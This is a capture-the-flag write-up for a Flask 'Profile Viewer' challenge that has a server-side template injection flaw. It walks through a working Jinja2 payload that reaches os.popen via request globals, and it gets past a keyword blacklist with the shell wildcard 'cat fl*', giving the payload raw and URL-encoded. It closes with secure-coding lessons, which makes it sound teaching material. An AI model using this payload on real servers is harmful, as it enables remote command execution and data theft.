Files
HIP7CTF_Writeups/render_me_this.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

4.4 KiB

Render Me This

Welcome to the write-up for Render Me This. This challenge falls under the "web" category and demonstrates a severe vulnerability found in modern web frameworks known as Server-Side Template Injection (SSTI).

We are presented with a "Profile Viewer" application that takes a user's name and renders a custom greeting. Our goal is to exploit the rendering engine to read the flag from the server.


1. Initial Reconnaissance

The challenge provides us with a URL and the source code. When we visit the site, we see a simple page greeting "Guest".

The URL likely looks like this: http://challenge-url/?name=Guest

If we change the name parameter to Test, the page updates to say "Hello, Test!". This confirms that our input is being reflected on the page.

2. Source Code Analysis

Let's examine the provided app.py to understand how the page is generated.

@app.route('/')
def index():
    # Get the 'name' parameter
    name = request.args.get('name', 'Guest')

    # 1. Check for Blacklisted words
    for bad_word in BLACKLIST:
        if bad_word in name.lower():
            return "Hacker detected! ..."

    # 2. Vulnerable Template Construction
    template = f'''
    ...
            <h1>Hello, {name}!</h1>
    ...
    '''

    # Render the template
    return render_template_string(template)

The Vulnerability: SSTI

The critical flaw is in how the template string is constructed. The developer uses a Python f-string (f'''... {name} ...''') to insert the user's input directly into the template source code before passing it to render_template_string.

In Flask (Jinja2), {{ ... }} is used to execute code within a template. By injecting {{ 7*7 }}, we can ask the server to calculate 7*7. If the page displays "49", we have code execution.

The Obstacle: The Blacklist

The application attempts to secure itself with a blacklist: BLACKLIST = ["config", "self", "flag"]

This means we cannot use the standard SSTI payloads like {{ config }} or {{ self.__dict__ }}. We also cannot simply run cat flag.txt because the word "flag" is forbidden.

3. Developing the Exploit

We need to find a way to access the Python os module to run system commands, without using the blacklisted words.

In Python web frameworks like Flask, the request object is often available in the template context. Through request, we can traverse the Python object hierarchy to reach the global scope and import modules.

Step 1: Accessing Built-ins We can use the request object to access the global scope: request.application.__globals__

From there, we can access Python's built-in functions: request.application.__globals__.__builtins__

Step 2: Importing OS Now we can use the __import__ function to load the os module: request.application.__globals__.__builtins__.__import__('os')

Step 3: Executing Commands With the os module, we can use popen to execute shell commands and read to get the output: .popen('ls').read()

Step 4: Bypassing the "flag" Filter If we try to run cat flag.txt, the application will block us because it contains "flag". We can bypass this using shell wildcards. instead of flag.txt, we can say fl*. cat fl* matches flag.txt but doesn't contain the forbidden string "flag".

4. The Final Payload

Putting it all together, our payload looks like this:

{{ request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read() }}

We need to URL-encode this payload before sending it to the server.

Encoded URL: ?name=%7B%7B%20request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20fl*%27).read()%20%7D%7D

5. The Solution

Sending the payload to the server executes the command, reads the flag file, and renders the result on the page.

Flag: {flag:SSTI_Is_Pow3rful_Even_With_Basic_Filters}


Lessons Learned

  • Context Matters: Never concatenate user input directly into a template string.
  • Use the Framework Correctly: Always pass data as context variables to the render function.
    • Vulnerable: render_template_string(f"Hello {name}")
    • Secure: render_template_string("Hello {{ name }}", name=user_input)
  • Blacklists Fail: trying to block specific words ("flag", "config") is rarely effective. Hackers can almost always find a way around them (e.g., string concatenation, encoding, wildcards).

Happy Hacking!